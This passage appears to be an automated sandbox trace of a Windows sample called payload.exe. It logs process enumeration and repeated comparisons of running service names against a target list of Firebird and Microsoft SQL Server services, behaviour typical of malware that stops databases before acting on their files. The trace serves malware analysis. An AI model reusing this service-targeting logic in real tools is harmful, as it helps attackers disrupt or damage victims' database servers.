lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0159.449] lstrlenW (lpString="SecurityHealthService") returned 21 [0159.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0159.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0159.449] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0159.449] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0159.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0159.449] lstrlenW (lpString="SENS") returned 4 [0159.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0159.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0159.449] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0159.449] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0159.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0159.449] lstrlenW (lpString="ShellHWDetection") returned 16 [0159.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0159.449] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0159.449] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0159.449] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0159.449] lstrlenW (lpString="Spooler") returned 7 [0159.449] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0159.449] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0159.449] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0159.449] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0159.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0159.450] lstrlenW (lpString="StateRepository") returned 15 [0159.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0159.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0159.450] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0159.450] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0159.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0159.450] lstrlenW (lpString="SysMain") returned 7 [0159.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0159.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0159.450] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0159.450] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0159.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0159.450] lstrlenW (lpString="SystemEventsBroker") returned 18 [0159.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0159.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0159.450] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0159.450] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0159.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0159.450] lstrlenW (lpString="Themes") returned 6 [0159.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0159.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0159.450] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0159.450] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0159.450] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0159.450] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0159.450] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0159.450] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0159.450] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0159.451] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0159.451] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x427ddc8 | out: hHeap=0x660000) returned 1 [0159.451] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0159.453] Process32FirstW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0159.454] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0159.454] lstrlenW (lpString="System") returned 6 [0159.454] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0159.455] lstrlenW (lpString="smss.exe") returned 8 [0159.455] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.456] lstrlenW (lpString="csrss.exe") returned 9 [0159.456] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0159.456] lstrlenW (lpString="wininit.exe") returned 11 [0159.456] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0159.457] lstrlenW (lpString="csrss.exe") returned 9 [0159.457] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0159.457] lstrlenW (lpString="winlogon.exe") returned 12 [0159.457] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0159.458] lstrlenW (lpString="services.exe") returned 12 [0159.458] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0159.458] lstrlenW (lpString="lsass.exe") returned 9 [0159.458] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.459] lstrlenW (lpString="svchost.exe") returned 11 [0159.459] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0159.460] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0159.460] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0159.461] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0159.461] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.461] lstrlenW (lpString="svchost.exe") returned 11 [0159.461] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0159.462] lstrlenW (lpString="dwm.exe") returned 7 [0159.462] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.462] lstrlenW (lpString="svchost.exe") returned 11 [0159.462] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.463] lstrlenW (lpString="svchost.exe") returned 11 [0159.463] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.463] lstrlenW (lpString="svchost.exe") returned 11 [0159.464] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.464] lstrlenW (lpString="svchost.exe") returned 11 [0159.464] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.465] lstrlenW (lpString="svchost.exe") returned 11 [0159.465] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.465] lstrlenW (lpString="svchost.exe") returned 11 [0159.465] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.466] lstrlenW (lpString="svchost.exe") returned 11 [0159.466] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.467] lstrlenW (lpString="svchost.exe") returned 11 [0159.467] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.467] lstrlenW (lpString="svchost.exe") returned 11 [0159.467] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.468] lstrlenW (lpString="svchost.exe") returned 11 [0159.468] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0159.468] lstrlenW (lpString="spoolsv.exe") returned 11 [0159.468] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.469] lstrlenW (lpString="svchost.exe") returned 11 [0159.469] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0159.469] lstrlenW (lpString="audiodg.exe") returned 11 [0159.470] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0159.470] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0159.470] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0159.471] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0159.471] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0159.471] lstrlenW (lpString="Memory Compression") returned 18 [0159.471] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0159.472] lstrlenW (lpString="sihost.exe") returned 10 [0159.472] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0159.472] lstrlenW (lpString="svchost.exe") returned 11 [0159.472] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0159.473] lstrlenW (lpString="taskhostw.exe") returned 13 [0159.473] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0159.474] lstrlenW (lpString="msoia.exe") returned 9 [0159.474] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0159.474] lstrlenW (lpString="explorer.exe") returned 12 [0159.474] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0159.475] lstrlenW (lpString="SearchUI.exe") returned 12 [0159.475] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0159.476] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0159.476] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0159.476] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0159.476] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0159.477] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0159.477] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0159.477] lstrlenW (lpString="payload.exe") returned 11 [0159.477] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0159.478] lstrlenW (lpString="cmd.exe") returned 7 [0159.478] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0159.479] lstrlenW (lpString="conhost.exe") returned 11 [0159.479] Process32NextW (in: hSnapshot=0x360, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0159.479] CloseHandle (hObject=0x360) returned 1 [0159.479] Sleep (dwMilliseconds=0x1f4) [0160.151] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69d948 [0160.151] EnumServicesStatusExW (in: hSCManager=0x69d948, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0160.152] GetLastError () returned 0xea [0160.152] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x428ddd0 [0160.152] EnumServicesStatusExW (in: hSCManager=0x69d948, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428ddd0, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428ddd0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0160.152] CloseServiceHandle (hSCObject=0x69d948) returned 1 [0160.153] lstrlenW (lpString="Appinfo") returned 7 [0160.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0160.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0160.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0160.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0160.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0160.153] lstrlenW (lpString="AppXSvc") returned 7 [0160.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0160.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0160.153] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0160.153] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0160.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0160.153] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0160.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0160.153] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0160.153] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0160.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0160.153] lstrlenW (lpString="Audiosrv") returned 8 [0160.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0160.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0160.153] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0160.153] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0160.153] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0160.153] lstrlenW (lpString="BFE") returned 3 [0160.153] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0160.153] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0160.153] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0160.153] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0160.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0160.154] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0160.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0160.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0160.154] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0160.154] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0160.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0160.154] lstrlenW (lpString="CDPSvc") returned 6 [0160.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0160.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0160.154] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0160.154] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0160.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0160.154] lstrlenW (lpString="ClickToRunSvc") returned 13 [0160.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0160.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0160.154] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0160.154] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0160.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0160.154] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0160.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0160.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0160.154] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0160.154] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0160.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0160.154] lstrlenW (lpString="CryptSvc") returned 8 [0160.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0160.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0160.154] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0160.154] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0160.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0160.154] lstrlenW (lpString="DcomLaunch") returned 10 [0160.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0160.154] lstrcmpiW 